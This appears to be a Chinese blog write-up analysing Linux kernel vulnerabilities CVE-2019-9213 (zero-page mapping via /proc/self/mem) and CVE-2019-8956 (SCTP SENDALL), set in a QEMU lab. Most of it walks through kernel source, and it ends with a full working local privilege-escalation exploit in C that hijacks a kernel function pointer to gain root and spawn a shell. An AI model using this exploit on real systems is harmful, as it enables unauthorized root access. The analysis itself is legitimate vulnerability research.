CVE-2019-9213、CVE-2019-8956的分析以及组合提权

 

寒假在xman学到了很多,在这里总结复现一下两个cve。

本文包括漏洞分析,环境搭建,以及exp提权。

 

漏洞分析

CVE-2019-9213

它是一个linux内核用户空间0虚拟地址映射漏洞
首先看一下他的补丁情况:

可以根据补丁来定位到expand_downwards这个函数,我们看一下源码:

int expand_downwards(struct vm_area_struct *vma,
                   unsigned long address)
{
    struct mm_struct *mm = vma->vm_mm;
    struct vm_area_struct *prev;
    int error;

    address &= PAGE_MASK;
    error = security_mmap_addr(address);
    if (error)
        return error;

    ..........
}

可以看到他调用了security_mmap_addr函数。我们继续查看security_mmap_addr函数:

static inline int security_mmap_addr(unsigned long addr)
{
    return cap_mmap_addr(addr);
}

可以看到他是cap_mmap_addr函数的封装。
我们继续跟入:

int cap_mmap_addr(unsigned long addr)
{
    int ret = 0;

    if (addr < dac_mmap_min_addr) {
        ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
                  SECURITY_CAP_AUDIT);
        /* set PF_SUPERPRIV if it turns out we allow the low mmap */
        if (ret == 0)
            current->flags |= PF_SUPERPRIV;
    }
    return ret;
}

dac_mmap_min_addr是0x1000,在这里他会对你能否分配低地址做一个判断。
但是在这里存在一个问题,如果我们通过system函数调用LD_DEBUG=help su 1>&%d命令执行write操作,该函数检测的current_cred()就是执行write的进程的cred,而不是vma被改变的进程的cred。由于write操作是root,所以我们自然可以通过这个判断。

接下来我们就跟踪一下write函数的执行,看它如何调用expand_downwards:

static ssize_t mem_write(struct file *file, const char __user *buf,
             size_t count, loff_t *ppos)
{
    return mem_rw(file, (char __user*)buf, count, ppos, 1);
}

mem_write函数是mem_rw函数的封装。

static ssize_t mem_rw(struct file *file, char __user *buf,
            size_t count, loff_t *ppos, int write)
{
    ...................

    while (count > 0) {
        int this_len = min_t(int, count, PAGE_SIZE);

        if (write && copy_from_user(page, buf, this_len)) {
            copied = -EFAULT;
            break;
        }

        this_len = access_remote_vm(mm, addr, page, this_len, flags);
        if (!this_len) {
            if (!copied)
                copied = -EIO;
            break;
        }

        if (!write && copy_to_user(buf, page, this_len)) {
            copied = -EFAULT;
            break;
        }

        buf += this_len;
        addr += this_len;
        copied += this_len;
        count -= this_len;
    }
    *ppos = addr;

    mmput(mm);
free:
    free_page((unsigned long) page);
    return copied;
}

我们可以看到while循环中都利用了access_remote_vm来处理远程进程中的数据。
access_remote_vm函数是__access_remote_vm函数的封装。

int access_remote_vm(struct mm_struct *mm, unsigned long addr,
        void *buf, int len, unsigned int gup_flags)
{
    return __access_remote_vm(NULL, mm, addr, buf, len, gup_flags);
}
int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
        unsigned long addr, void *buf, int len, unsigned int gup_flags)
{
    struct vm_area_struct *vma;
    void *old_buf = buf;
    int write = gup_flags & FOLL_WRITE;

    down_read(&mm->mmap_sem);
    /* ignore errors, just check how much was successfully transferred */
    while (len) {
        int bytes, ret, offset;
        void *maddr;
        struct page *page = NULL;

        ret = get_user_pages_remote(tsk, mm, addr, 1,
                gup_flags, &page, &vma, NULL);
        if (ret <= 0) {
         .......................

        } else {
            bytes = len;
            offset = addr & (PAGE_SIZE-1);
            if (bytes > PAGE_SIZE-offset)
                bytes = PAGE_SIZE-offset;

            maddr = kmap(page);
            if (write) {
                copy_to_user_page(vma, page, addr,
                          maddr + offset, buf, bytes);
                set_page_dirty_lock(page);
            } else {
                copy_from_user_page(vma, page, addr,
                            buf, maddr + offset, bytes);
            }
            kunmap(page);
            put_page(page);
        }
        len -= bytes;
        buf += bytes;
        addr += bytes;
    }
    up_read(&mm->mmap_sem);

    return buf - old_buf;
}

get_user_pages_remote函数和get_user_pages函数(二者区别:是否跨进程)都是__get_user_pages_locked函数的封装,作用在于查找并将给定的虚拟地址范围固定到page。之后通过kmap函数将page映射到永久内存映射区,如果是写操作则调用copy_to_user_page函数之后调用set_page_dirty_lock函数将page设置为脏,读操作则调用copy_from_user_page函数。之后调用kunmap函数取消映射。

get_user_pages_remote函数和get_user_pages函数:

long get_user_pages_remote(struct task_struct *tsk, struct mm_struct *mm,
        unsigned long start, unsigned long nr_pages,
        unsigned int gup_flags, struct page **pages,
        struct vm_area_struct **vmas, int *locked)
{
    return __get_user_pages_locked(tsk, mm, start, nr_pages, pages, vmas,
                       locked,
                       gup_flags | FOLL_TOUCH | FOLL_REMOTE);
}
EXPORT_SYMBOL(get_user_pages_remote);

long get_user_pages(unsigned long start, unsigned long nr_pages,
        unsigned int gup_flags, struct page **pages,
        struct vm_area_struct **vmas)
{
    return __get_user_pages_locked(current, current->mm, start, nr_pages,
                       pages, vmas, NULL,
                       gup_flags | FOLL_TOUCH);
}
EXPORT_SYMBOL(get_user_pages);

这里get_user_pages_remote调用__get_user_pages_locked函数时设置了FOLL_REMOTE标志区分。

在这两个函数中调用了__get_user_pages_locked:

static __always_inline long __get_user_pages_locked(struct task_struct *tsk,
                        struct mm_struct *mm,
                        unsigned long start,
                        unsigned long nr_pages,
                        struct page **pages,
                        struct vm_area_struct **vmas,
                        int *locked,
                        unsigned int flags)
{

                ................

    pages_done = 0;
    lock_dropped = false;
    for (;;) {
        ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
                       vmas, locked);
        if (!locked)
            /* VM_FAULT_RETRY couldn't trigger, bypass */
            return ret;

        /* VM_FAULT_RETRY cannot return errors */
        if (!*locked) {
            BUG_ON(ret < 0);
            BUG_ON(ret >= nr_pages);
        }

        if (!pages)
            /* If it's a prefault don't insist harder */
            return ret;

        if (ret > 0) {
            nr_pages -= ret;
            pages_done += ret;
            if (!nr_pages)
                break;
        }
        if (*locked) {
            /*
             * VM_FAULT_RETRY didn't trigger or it was a
             * FOLL_NOWAIT.
             */
            if (!pages_done)
                pages_done = ret;
            break;
        }
        /* VM_FAULT_RETRY triggered, so seek to the faulting offset */
        pages += ret;
        start += ret << PAGE_SHIFT;

        /*
         * Repeat on the address that fired VM_FAULT_RETRY
         * without FAULT_FLAG_ALLOW_RETRY but with
         * FAULT_FLAG_TRIED.
         */
        *locked = 1;
        lock_dropped = true;
        down_read(&mm->mmap_sem);
        ret = __get_user_pages(tsk, mm, start, 1, flags | FOLL_TRIED,
                       pages, NULL, NULL);
        if (ret != 1) {
            BUG_ON(ret > 1);
            if (!pages_done)
                pages_done = ret;
            break;
        }
        nr_pages--;
        pages_done++;
        if (!nr_pages)
            break;
        pages++;
        start += PAGE_SIZE;
    }
    if (lock_dropped && *locked) {
        /*
         * We must let the caller know we temporarily dropped the lock
         * and so the critical section protected by it was lost.
         */
        up_read(&mm->mmap_sem);
        *locked = 0;
    }
    return pages_done;
}

get_user_pages函数的作用是将start开始的nr_pages个页固定到pages。get_user_pages函数返回值大于0说明调用成功,减少nr_pages增加pages_done,nr_pages为0则退出循环。

之后再固定一个页。对应的代码如下:

        lock_dropped = true;
        down_read(&mm->mmap_sem);
        ret = __get_user_pages(tsk, mm, start, 1, flags | FOLL_TRIED,
                       pages, NULL, NULL);
        if (ret != 1) {
            BUG_ON(ret > 1);
            if (!pages_done)
                pages_done = ret;
            break;
        }
        nr_pages--;
        pages_done++;
        if (!nr_pages)
            break;
        pages++;
        start += PAGE_SIZE;
    }

如果没有退出,nr_pages-1,pages_done+1,start地址加一个PAGE_SIZE重新开始固定。
__get_user_pages函数查找vma是通过调用find_extend_vma函数实现的:

find_extend_vma(struct mm_struct *mm, unsigned long addr)
{
    struct vm_area_struct *vma;
    unsigned long start;

    addr &= PAGE_MASK;
    vma = find_vma(mm, addr);
    if (!vma)
        return NULL;
    if (vma->vm_start <= addr)
        return vma;
    if (!(vma->vm_flags & VM_GROWSDOWN))
        return NULL;
    start = vma->vm_start;
    if (expand_stack(vma, addr))
        return NULL;
    if (vma->vm_flags & VM_LOCKED)
        populate_vma_page_range(vma, addr, start, NULL);
    return vma;
}

总的来说就是最终在写入的地址小于vm->start时,如果设置了VM_GROWSDOWN选项的话,就会调用expand_downwards函数。

小结一下利用链:

poc:

int main()
{
    unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
    if (addr != 0x10000)
            err(2,"mmap failed");
    int fd = open("/proc/self/mem",O_RDWR);
    if (fd == -1)
            err(2,"open mem failed");
    char cmd[0x100] = {0};
    sprintf(cmd, "su >&%d < /dev/null", fd);
    while (addr)
    {
            addr -= 0x1000;
            if (lseek(fd, addr, SEEK_SET) == -1)
                    err(2, "lseek failed");
            system(cmd);
    }
    printf("contents:%sn",(char *)1);
}

CVE-2019-8956

看一波补丁,发现漏洞存在于sctp_sendmsg函数内:

static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
{
    struct sctp_endpoint *ep = sctp_sk(sk)->ep;
    struct sctp_transport *transport = NULL;
    struct sctp_sndrcvinfo _sinfo, *sinfo;
    struct sctp_association *asoc;
    struct sctp_cmsgs cmsgs;
    union sctp_addr *daddr;
    bool new = false;
    __u16 sflags;
    int err;

    /* Parse and get snd_info */
    err = sctp_sendmsg_parse(sk, &cmsgs, &_sinfo, msg, msg_len);
    if (err)
        goto out;

    sinfo  = &_sinfo;
    sflags = sinfo->sinfo_flags;

    /* Get daddr from msg */
    daddr = sctp_sendmsg_get_daddr(sk, msg, &cmsgs);
    if (IS_ERR(daddr)) {
        err = PTR_ERR(daddr);
        goto out;
    }

    lock_sock(sk);

    /* SCTP_SENDALL process */
    if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) {
        list_for_each_entry(asoc, &ep->asocs, asocs) {
            err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
                            msg_len);
            if (err == 0)
                continue;
            if (err < 0)
                goto out_unlock;

            sctp_sendmsg_update_sinfo(asoc, sinfo, &cmsgs);

            err = sctp_sendmsg_to_asoc(asoc, msg, msg_len,
                           NULL, sinfo);
            if (err < 0)
                goto out_unlock;

            iov_iter_revert(&msg->msg_iter, err);
        }

        goto out_unlock;
    }

  ................

out_unlock:
    release_sock(sk);
out:
    return sctp_error(sk, msg->msg_flags, err);
}

可以看到当标志为SCTP_SENDALL时,我们会进入sctp_style(sk, UDP) && !sctp_state(asoc, ESTABLISHED)的判断,如果我们让sk->type为UDP时,就会调用list_for_each_entry来依次遍历ep->asocs链表。

接下来会调用sctp_sendmsg_check_sflags:

static int sctp_sendmsg_check_sflags(struct sctp_association *asoc,
                     __u16 sflags, struct msghdr *msg,
                     size_t msg_len)
{
    struct sock *sk = asoc->base.sk;
    struct net *net = sock_net(sk);

    if (sctp_state(asoc, CLOSED) && sctp_style(sk, TCP))
        return -EPIPE;

    if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP) &&
        !sctp_state(asoc, ESTABLISHED))
        return 0;

    if (sflags & SCTP_EOF) {
        pr_debug("%s: shutting down association:%pn", __func__, asoc);
        sctp_primitive_SHUTDOWN(net, asoc, NULL);

        return 0;
    }

    if (sflags & SCTP_ABORT) {
        struct sctp_chunk *chunk;

        chunk = sctp_make_abort_user(asoc, msg, msg_len);
        if (!chunk)
            return -ENOMEM;

        pr_debug("%s: aborting association:%pn", __func__, asoc);
        sctp_primitive_ABORT(net, asoc, chunk);

        return 0;
    }

    return 1;
}

这里注意:struct sock sk = asoc->base.sk,因为asoc是可控的(具体原因会在下面的下一部分介绍。),所以struct sock sk就可以任由我们摆布。

接下来设置SCTP_ABORT标志,调用sctp_make_abort_user和sctp_primitive_ABORT。

struct sctp_chunk *sctp_make_abort_user(const struct sctp_association *asoc,
                    struct msghdr *msg,
                    size_t paylen)
{
    struct sctp_chunk *retval;
    void *payload = NULL;
    int err;

    retval = sctp_make_abort(asoc, NULL,
                 sizeof(struct sctp_errhdr) + paylen);
    if (!retval)
        goto err_chunk;

    if (paylen) {
        /* Put the msg_iov together into payload.  */
        payload = kmalloc(paylen, GFP_KERNEL);
        if (!payload)
            goto err_payload;

        err = memcpy_from_msg(payload, msg, paylen);
        if (err < 0)
            goto err_copy;
    }

    sctp_init_cause(retval, SCTP_ERROR_USER_ABORT, paylen);
    sctp_addto_chunk(retval, paylen, payload);

    if (paylen)
        kfree(payload);

    return retval;

err_copy:
    kfree(payload);
err_payload:
    sctp_chunk_free(retval);
    retval = NULL;
err_chunk:
    return retval;
}

在这里我们把paylen设置为0,这样就不会进入循环,也就避开了
memcpy_from_msg。(paylen就是通过sendmsg发送的数据的长度)。

接下来是sctp_primitive_ABORT,调试一下可以找到他实际位于net/sctp/primitive.c:

int sctp_primitive_ ## name(struct net *net, struct sctp_association *asoc, 
                void *arg) { 
    int error = 0; 
    enum sctp_event event_type; union sctp_subtype subtype; 
    enum sctp_state state; 
    struct sctp_endpoint *ep; 
    
    event_type = SCTP_EVENT_T_PRIMITIVE; 
    subtype = SCTP_ST_PRIMITIVE(SCTP_PRIMITIVE_ ## name); 
    state = asoc ? asoc->state : SCTP_STATE_CLOSED; 
    ep = asoc ? asoc->ep : NULL; 
    
    error = sctp_do_sm(net, event_type, subtype, state, ep, asoc,    
               arg, GFP_KERNEL); 
    return error; 
}

可以看到他调用了sctp_do_sm这个状态随机处理函数:

int sctp_do_sm(struct net *net, enum sctp_event event_type,
           union sctp_subtype subtype, enum sctp_state state,
           struct sctp_endpoint *ep, struct sctp_association *asoc,
           void *event_arg, gfp_t gfp)
{

    ......

    state_fn = sctp_sm_lookup_event(net, event_type, state, subtype);

    sctp_init_cmd_seq(&commands);

    debug_pre_sfn();
    status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands);
    debug_post_sfn();

    error = sctp_side_effects(event_type, subtype, state,
                  ep, &asoc, event_arg, status,
                  &commands, gfp);
    debug_post_sfx();

    return error;
}

而sctp_do_sm的参数:net、state、ep、asoc都是可以被我们控制的。
这里有个很明显的指针调用:

    status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands);

如果我们可以控制state_fn,就可以实现任意地址调用。
state_fn由sctp_sm_lookup_event函数返回,我们继续跟入:

const struct sctp_sm_table_entry *sctp_sm_lookup_event(
                    struct net *net,
                    enum sctp_event event_type,
                    enum sctp_state state,
                    union sctp_subtype event_subtype)
{
    switch (event_type) {
    case SCTP_EVENT_T_CHUNK:
        return sctp_chunk_event_lookup(net, event_subtype.chunk, state);
    case SCTP_EVENT_T_TIMEOUT:
        return DO_LOOKUP(SCTP_EVENT_TIMEOUT_MAX, timeout,
                 timeout_event_table);
    case SCTP_EVENT_T_OTHER:
        return DO_LOOKUP(SCTP_EVENT_OTHER_MAX, other,
                 other_event_table);
    case SCTP_EVENT_T_PRIMITIVE:
        return DO_LOOKUP(SCTP_EVENT_PRIMITIVE_MAX, primitive,
                 primitive_event_table);
    default:
        /* Yikes!  We got an illegal event type.  */
        return &bug;
    }
}

在sctp_primitive_ABORT里面就已经设置event为SCTP_EVENT_T_PRIMITIVE,所以接下来会调用DO_LOOKUP函数。

#define DO_LOOKUP(_max, _type, _table)                    
({                                    
    const struct sctp_sm_table_entry *rtn;                
                                    
    if ((event_subtype._type > (_max))) {                
        pr_warn("table %p possible attack: event %d exceeds max %dn", 
            _table, event_subtype._type, _max);        
        rtn = &bug;                        
    } else                                
        rtn = &_table[event_subtype._type][(int)state];        
                                    
    rtn;                                
})

调试一下:

可以发现ecx是state,所以我们可以控制state_fn。

小结一下调用链:

链里面还有几个函数没有分析,我们放到下面的结合部分分析:

cve的结合

启明星辰ADLab公开发布的分析文章里关于asoc的分析有一点问题。
这里我们来分析一下如何控制asoc:

void sctp_association_free(struct sctp_association *asoc)
{
    struct sock *sk = asoc->base.sk;
    struct sctp_transport *transport;
    struct list_head *pos, *temp;
    int i;

    /* Only real associations count against the endpoint, so
     * don't bother for if this is a temporary association.
     */
    if (!list_empty(&asoc->asocs)) {
        list_del(&asoc->asocs);

        /* Decrement the backlog value for a TCP-style listening
         * socket.
         */
        if (sctp_style(sk, TCP) && sctp_sstate(sk, LISTENING))
            sk->sk_ack_backlog--;
    }

    ..........

}

sctp_association_free中对asoc进行了list_del操作。

static inline void list_del(struct list_head *entry)
{
    __list_del_entry(entry);
    entry->next = LIST_POISON1;
    entry->prev = LIST_POISON2;
}

LIST_POISON1是0x100。我们看一下汇编代码:

mov     eax,[edi+44h]
sub     eax,44h
mov     edi,eax
cmp     [ebp-84h],eax
jz      ...

这里在遍历到下一个节点的时候会计算asoc,0x100-0x44=0xbc

CVE-2019-9213可以映射0抵制空间,那么我们就可以在0xbc处伪造结构,从而实现控制asoc,而上面分析的fn可控,可以劫持任意地址,这样就可以进行提权了。

这里调试一下偏移:

struct sock{
    char padding1[0x24];
    void *net;
    char padding2[0x278];
    int type;
};


struct sctp_association{
    char padding1[0x18];
    struct sock *sk;
    char padding2[0x190];
    int state;
};

接下来是asoc的flags:

enum sctp_sinfo_flags {
    SCTP_UNORDERED        = (1 << 0), /* Send/receive message unordered. */
    SCTP_ADDR_OVER        = (1 << 1), /* Override the primary destination. */
    SCTP_ABORT        = (1 << 2), /* Send an ABORT message to the peer. */
    SCTP_SACK_IMMEDIATELY    = (1 << 3), /* SACK should be sent without delay. */
    /* 2 bits here have been used by SCTP_PR_SCTP_MASK */
    SCTP_SENDALL        = (1 << 6),
    SCTP_PR_SCTP_ALL    = (1 << 7),
    SCTP_NOTIFICATION    = MSG_NOTIFICATION, /* Next message is not user msg but notification. */
    SCTP_EOF        = MSG_FIN,  /* Initiate graceful shutdown process. */
};

设置sinfo_flags = (1 << 6) | (1 << 2);

 

环境配置:

  • 1、下载ubuntu 18源码包,安装依赖(make,gcc,bison,flex,libssl-dev, ncurses-dev)
  • 编译linux内核(make i386_defconfig
    make menuconfig
    make)
  • 通过qemu起linux内核(qemu-system-i386 -hda rootfs.img -kernel bzImage -append “console=ttyS0 root=/dev/sda rw nokaslr quiet” -m 128M -nographic -s -monitor /dev/null)

编译exp所需环境:

在64位ubuntu 18.04下用gcc –m32编译exp会出错,所以通过debootstrap拉取32位文件系统来编译exp。

  1. debootstrap —arch i386 stretch debian_32 http://ftp.cn.debian.org/debian/
  2. chroot debian_32
  3. apt install gcc libsctp-dev

编译exp:

  • 首先进入32位文件系统:chroot debian_32
  • 将exp.c放入文件系统中。 sudo cp exp.c /home/parallels/debian_32/exp.c
  • 编译exp.c: gcc exp.c -lpthread -lsctp -static -o exp

挂载放入exp:

  • mkdir rootfs
  • sudo mount rootfs.img rootfs
  • sudo cp ./exp ./rootfs
  • sudo umount rootfs

 

exp提权:

#define _GNU_SOURE

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#include <string.h>

#include <arpa/inet.h>

#include <pthread.h>

#include <error.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/sctp.h>

#include <netinet/in.h>

#include <time.h> 

#include <malloc.h>

#include <sys/mman.h>

#include <err.h>

#include <signal.h>



#define SERVER_PORT 6666

#define SCTP_GET_ASSOC_ID_LIST    29

#define SCTP_RESET_ASSOC    120

#define SCTP_ENABLE_RESET_ASSOC_REQ    0x02

#define SCTP_ENABLE_STREAM_RESET    118



struct sock

{

        char pad1[0x24];

        void *net;

        char pad[0x278];

        int type;

};



struct sctp_association

{

        char pad1[0x18];

        struct sock *sk;

        char pad2[0x34];

        char *ep;

        char pad3[0x158];

        int state;

};



#define KERNCALL __attribute__((regparm(3)))

void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1074ee0;

void (*commit_creds)(void*) KERNCALL = (void*) 0xc1074b80;



void templine()

{

    commit_creds(prepare_kernel_cred(0));

    asm(    "pushl   $0x7b;"

        "pushl   $0x4000;"

        "pushl   $0x202;"

        "pushl   $0x73;"

        "pushl   $shell;"

        "iret;");

}



void shell()

{

        printf("rootn");

        system("/bin/sh");

        exit(0);

}



void mmap_zero()

{

    unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);

        if (addr != 0x10000)

                err(2,"mmap failed");

        int fd = open("/proc/self/mem",O_RDWR);

        if (fd == -1)

                err(2,"open mem failed");

        char cmd[0x100] = {0};

        sprintf(cmd, "su >&%d < /dev/null", fd);

        while (addr)

        {

                addr -= 0x1000;

                if (lseek(fd, addr, SEEK_SET) == -1)

                        err(2, "lseek failed");

                system(cmd);

        }

        printf("contents:%sn",(char *)1);



    struct sctp_association * sctp_ptr = (struct sctp_association *)0xbc;

        sctp_ptr->sk = (struct sock *)0x1000;

        sctp_ptr->sk->type = 0x2;

        sctp_ptr->state = 0x7cb094c; // offset, &_table[event_subtype._type][(int)state] = 0x3000

        sctp_ptr->ep = (char *)0x2000;

    *(sctp_ptr->ep + 0x8e) = 1;

    unsigned long* ptr4 = (unsigned long*)0x3000;

    ptr4[0] = (unsigned long)&templine;

}



void* client_func(void* arg)

{

    int socket_fd;

    struct sockaddr_in serverAddr;

    struct sctp_event_subscribe event_;

    int s;



    char *buf = "test";



    if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){

        perror("client socket");

        pthread_exit(0);

    }

    bzero(&serverAddr, sizeof(serverAddr));

    serverAddr.sin_family = AF_INET;

    serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);

    serverAddr.sin_port = htons(SERVER_PORT);

    inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);



    printf("send data: %sn",buf);

    if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0,0,0,0)==-1){

        perror("client sctp_sendmsg");

        goto client_out_;

    }



client_out_:

      //close(socket_fd);

    pthread_exit(0);

}



void* send_recv(int server_sockfd)

{

    int msg_flags;

    socklen_t len = sizeof(struct sockaddr_in);

    size_t rd_sz;

    char readbuf[20]="0";

    struct sockaddr_in clientAddr;



    rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);

    if (rd_sz > 0)

        printf("recv data: %sn",readbuf);

    rd_sz = 0;

    if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0x44,0,0,0)<0){

        perror("SENDALL sendmsg");

    }



    pthread_exit(0);    

}



int main(int argc, char** argv)

{

    int server_sockfd;

    pthread_t thread;

    struct sockaddr_in serverAddr;



    if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){

        perror("socket");

        return 0;

    }

    bzero(&serverAddr, sizeof(serverAddr));

    serverAddr.sin_family = AF_INET;

    serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);

    serverAddr.sin_port = htons(SERVER_PORT);

    inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);



    if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){

        perror("bind");

        goto out_;

    }



    listen(server_sockfd,5);



    if(pthread_create(&thread,NULL,client_func,NULL)){

        perror("pthread_create");

        goto out_;

    }

    mmap_zero();

    send_recv(server_sockfd);

out_:

    close(server_sockfd);

    return 0;

}

注意:其中sctp_ptr->state的偏移需要自己计算(环境不同):

运行截图:

(完)